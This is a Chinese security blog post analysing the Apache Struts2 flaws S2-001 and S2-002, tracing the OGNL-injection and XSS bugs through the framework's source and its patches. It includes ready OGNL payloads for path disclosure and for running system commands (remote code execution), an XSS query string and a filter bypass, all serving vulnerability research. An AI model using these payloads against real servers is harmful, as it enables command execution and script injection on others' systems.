Struct2 漏洞集合


[TOC]

持续更新,敬请关注~

先已更新至S2-002

本篇所有代码及工具均已上传至gayhub:https://github.com/yq1ng/Java

前言

复现可以从Vulhub一键搭建,分析的话我是自己搭建的,最后应该会把源码放到gayhub,尽情期待

Struts2架构及工作原理

架构图

img

  • FilterDispatcher:是整个Struts2的调度中心,也就是整个MVC架构中的C(控制中心),它根据ActionMapper的结果来决定是否处理请求。如果ActionMapper指出该URL应该被Struts2处理,那么它将会执行Action处理,并停止过滤器链上还没有执行的过滤器。
  • ActionMapper:用来判断传入的请求是否被Struts2处理,如果需要处理的话,ActionMapper就会返回一个对象来描述请求对应的ActionInvocation的信息。
  • ActionProxy:用来创建一个ActionInvocation代理实例,它位于Action和xwork之间,使得我们在将来有机会引入更多的实现方式,比如通过WebService来实现等。
  • ConfigurationManager:是xwork配置的管理中心,可以把它当做已经读取到内存中的struts.xml配置文件。
  • struts.xml:是Stuts2的应用配置文件,负责诸如URL与Action之间映射的配置、以及执行后页面跳转的Result配置等。
  • ActionInvocation:用来真正的调用并执行Action、拦截器和对应的Result,作用类似于一个调度器。
  • Interceptor:拦截器,可以自动拦截Action,主要在Action运行之前或者Result运行之后来进行执行,开发者可以自定义。
  • Action:是Struts2中的动作执行单元。用来处理用户请求,并封装业务所需要的数据。
  • Result:是不同视图类型的抽象封装模型,不同的视图类型会对应不同的Result实现,Struts2中支持多种视图类型,比如Jsp,FreeMarker等。
  • Templates:各种视图类型的页面模板,比如JSP就是一种模板页面技术。
  • Tag Subsystem:Struts2的标签库,它抽象了三种不同的视图技术JSP、velocity、freemarker,可以在不同的视图技术中,几乎没有差别的使用这些标签。

运行流程

httprequest经过一系列过滤器到达FilterDispatcher调度中心,请求转发至ActionMapper,若需要处理则创建ActionProxy,代理再去struts.xml找对应的action,然后实例化ActionInvocation调用,运行拦截器生成result,根据模板生成响应内容,逆向过滤器,最后http response

S2-001

环境搭建

参考 Java Web安全入门——S2漏洞测试环境搭建

漏洞概述

漏洞利用

登陆失败时会把错误的账户密码留在提交框内

image-20210421225311505

插入OGNL表达式试试,被解析了

image-20210421232904328

常用poc

获取tomcat路径:%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

获取web路径:%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

还有最喜欢的rce:%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()},只需更改java.lang.String[]{"whoami"}

漏洞分析

主要想走一遍流程,漏洞不难,有点啰嗦

在自定义Action处下断点,然后POSTpassword=1&username=%{1+2}

image-20210424174830812

发送payload后,怎么到达了LoginAction?

用户发送请求后,先是Tomcat选择用哪个工件处理请求,并读取web.xml进行匹配,本环境Tomcat发现是Struts2这个过滤器来处理,根据配置找到FilterDispatcher,也就是调度中心,在调度中心执行doFilter方法,询问ActionMapper是否需要Struts2处理

image-20210424181456433

接下来创建代理,询问配置文件找到调用类,配置文件在Dispatcher类的init()(初始化方法)内的this.init_TraditionalXmlConfigurations加载完成,配置文件依次加载、变量覆盖(其实配置文件的真正加载应该是在ConfigurationManager类里面完成的,这里就不跟踪了)

image-20210424221409372

mapping对象中的name属性在configurationManager(加载Struts2的配置文件)寻找对应的Action,并生成一个ActionProxy,如果这个ActionProxy成功创建的话会执行execute方法

image-20210424225908231

继续往下走,看调用栈、联想架构图,此时实例化了ActionInvocation(Action完整的调用过程都是由ActionInvocation对象负责),下面就是执行拦截器,但是从下图看,并未找到拦截器的递归调用,莫慌,继续看

image-20210425213506148

看一下intercept接口定义,最后这个函数参数就是递归调用的关键,如果最后在调用invocation.invoke()那就会再回到上一步,继续从 Action 的 Intercepor 列表中找到下一个截拦器。随便抽出来一个拦截器,他也确实是这样工作的

image-20210425214115083

image-20210425214529918

那么都执行了那些拦截器呢(拦截器的list在初始化完成的辣)?看看strtus.xml中有一句<package name="S2-001" extends="struts-default">,看看继承:struts2-core-2.0.8.jar!/struts-default.xml,默认的就是这么多辣,调用栈中也是和这个对应的

image-20210425220738169

其中的params拦截器可以多看看,他会把客户端发来的数据都设置到ValueStack(值栈)里面,以后jsp页面取值都是在值栈中取得的

image-20210425223446863

跟进此函数,在stack.setValue(name, value);将数据入栈

拦截器运行完就会进入自定Action,看调用栈,在/xwork-2.0.3.jar!/com/opensymphony/xwork2/DefaultActionInvocation.class调用LoginAction

image-20210425230446933

再往后已经到了第一张图

image-20210425231343882

返回error后DefaultActionInvocation根据struts.xml中配置选取生成页面

image-20210425234506223

接着处理index.jsp,但是jsp的本质也是servlet,执行时tomcat会将其转化为index_jsp.java

image-20210425234918023

解析标签会在struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class中的doStartTagdoEndTag方法内完成

image-20210426000224116

在doEndTag方法内用this.component.end()调用struts2-core-2.0.8.jar!/org/apache/struts2/components/UIBean.class内的end()方法来填充jsp内动态数据

image-20210426001634829

跟进,发现如果开启了 Ognl表达式 支持( this.altSyntax() ),程序会在属性字段两边添加 Ognl 表达式字符( %{} ),然后使用 findValue 方法从值栈中获得该表达式所对应的值

image-20210426001813423

跟进findValue:struts2-core-2.0.8.jar!/org/apache/struts2/components/Component.class,调用xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class内的translateVariables方法,此方法又调用了同名重载方法

image-20210426001954853

image-20210426002145762

漏洞定位:xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class:31

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
        Object result = expression;

        while(true) {
            int start = expression.indexOf(open + "{");
            int length = expression.length();
            int x = start + 2;
            int count = 1;

            while(start != -1 && x < length && count != 0) {
                char c = expression.charAt(x++);
                if (c == '{') {
                    ++count;
                } else if (c == '}') {
                    --count;
                }
            }

            int end = x - 1;
            if (start == -1 || end == -1 || count != 0) {
                return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
            }

            String var = expression.substring(start + 2, end);
            Object o = stack.findValue(var, asType);
            if (evaluator != null) {
                o = evaluator.evaluate(o);
            }

            String left = expression.substring(0, start);
            String right = expression.substring(end + 1);
            if (o != null) {
                if (TextUtils.stringSet(left)) {
                    result = left + o;
                } else {
                    result = o;
                }

                if (TextUtils.stringSet(right)) {
                    result = result + right;
                }

                expression = left + o + right;
            } else {
                result = left + right;
                expression = left + right;
            }
        }
    }

第一次findValue取出 username的值(%{1+2}),赋值给o,拼接字符串,进入下一轮循环

image-20210426004337033

第二次,通过findVlue计算出值

image-20210426004642423

image-20210426004712522

再次循环,此时3不满足Ognl表达式,退出,渲染出页面

image-20210426004822946

image-20210426004919048

漏洞补丁

http://archive.apache.org/dist/struts/binaries/

使用loopCount变量限制递归解析 OGNL 表达式的次数

image-20210426005757621

参考

JavaWeb安全入门之 S2-001漏洞分析

Struts2请求流程和原理(源码解析,运行流程)

S2-002

环境搭建

和S2-001差不多,最后发环境吧,懒得写了

漏洞概述

漏洞利用

官方payload:?<script>alert(1)</script>test=hello

image-20210428230848114

<body>
<h2>S2-002 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-002">https://cwiki.apache.org/confluence/display/WW/S2-002</a></p>
/S2_001_war_exploded/login.action?<script>alert(1)</script>test=hello&amp;%3Cscript%3Ealert(1)%3C/script%3Etest=hello
</body>

漏洞分析

<s:url> 标签

S2-001中说了解析标签会在struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class中的doStartTagdoEndTag方法内完成,本次不在详细跟踪,直接在doStartTag方法下断点,跟进start()函数

image-20210428235022874

struts2-core-2.0.8.jar!/org.apache.struts2.components/URL.class:89中,当includeParams为all时会调用mergeRequestParameters方法

image-20210428235349294

此函数就是把this.req.getParameterMap()值存到this.parameters

image-20210429001454682

再往后,includeExtraParameters()用于将this.req.getQueryString()(数据会被urlencode)存入this.parameters内;includeExtraParameters()用于将其他数据存入this.parameters

image-20210429002857549

参数获取结束开始调用struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class:doEndTag(),跟进end(),生成页面处继续跟进

image-20210429004728643

image-20210429004821988

漏洞定位:struts2-core-2.0.8.jar!/org/apache/struts2/views/util/UrlHelper.class:116 ,此函数最终直接拼接了url与我们的payload导致出现xss漏洞

image-20210429005225220

image-20210429005511396

最终返回的不仅有原来的payload还有urlencode后的payload,不过无所谓

image-20210429010031362

页面最终会弹窗,不再放图

小啰嗦:includeParams为get能否造成xss

经测试,页面并不会弹窗。why?

如果includeParams 是get,会直接执行下面两个函数,而includeExtraParameters()存入的数据是urlencode后的,并不会造成xss

image-20210429011215015

s:a 标签

类似,不再赘述,自行分析吧

漏洞补丁

两次修复,第一次并未彻底解决问题

image-20210429011609193

2.0.11.1版本修复

s:url 标签修复

for(result = link.toString(); result.indexOf("<script>") > 0; result = result.replaceAll("<script>", "script")) {
    ;
}

这修复。。。笑了。绕过姿势很多,抛砖引玉:?<script 1>alert(1)</script>=hello

s:a 标签修复

if (this.href != null) {
    this.addParameter("href", this.ensureAttributeSafelyNotEscaped(this.findString(this.href)));
}

加上了一个 ensureAttributeSafelyNotEscaped 方法来过滤双引号:

Copyprotected String ensureAttributeSafelyNotEscaped(String val) {
    return val != null ? val.replaceAll("\"", "&#34;") : "";
}

啊这,绕它!

&#34; &quot; " 双引号 
&#38; &amp; & &符号 
&#60; &lt; < 小于号 
&#62; &gt; > 大于号 

2.2.1版本修复

天呐,urlencode,完全修复,再见。。。

private static String buildParameterSubstring(String name, String value) {
    StringBuilder builder = new StringBuilder();
    builder.append(translateAndEncode(name));
    builder.append('=');
    builder.append(translateAndEncode(value));
    return builder.toString();
}
public static String translateAndEncode(String input) {
    String translatedInput = translateVariable(input);
    String encoding = getEncodingFromConfiguration();
    try {
        return URLEncoder.encode(translatedInput, encoding);
    } catch (UnsupportedEncodingException e) {
        LOG.warn("Could not encode URL parameter '" + input + "', returning value un-encoded");
        return translatedInput;
    }
}

参考

JavaWeb安全入门之 S2-002漏洞分析

Java代码审计之Struts2-002(二)


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
 上一篇
CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp协议 任意文件读取/JSP文件包含漏洞分析 CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp协议 任意文件读取/JSP文件包含漏洞分析
前言 你需要了解ajp的基本概念 AJP协议是定向包(面向包)协议,采用二进制形式代替文本形式,以提高性能。可以说是http协议的二进制版本,正因如此浏览器不能直接与ajp通信,需要一些工具才行,后面已经放出。 Tomcat通常有两个Con
2021-05-19
下一篇 
ctfshow sqli-labs专题 ctfshow sqli-labs专题
所有题目均可sqlmap一把梭,不多解释,不能跑的加上ua get类型的可以参考以前写的,或者康康国光大佬的wp,y4大佬的wp 第二批放题,简单记录一下喽
  目录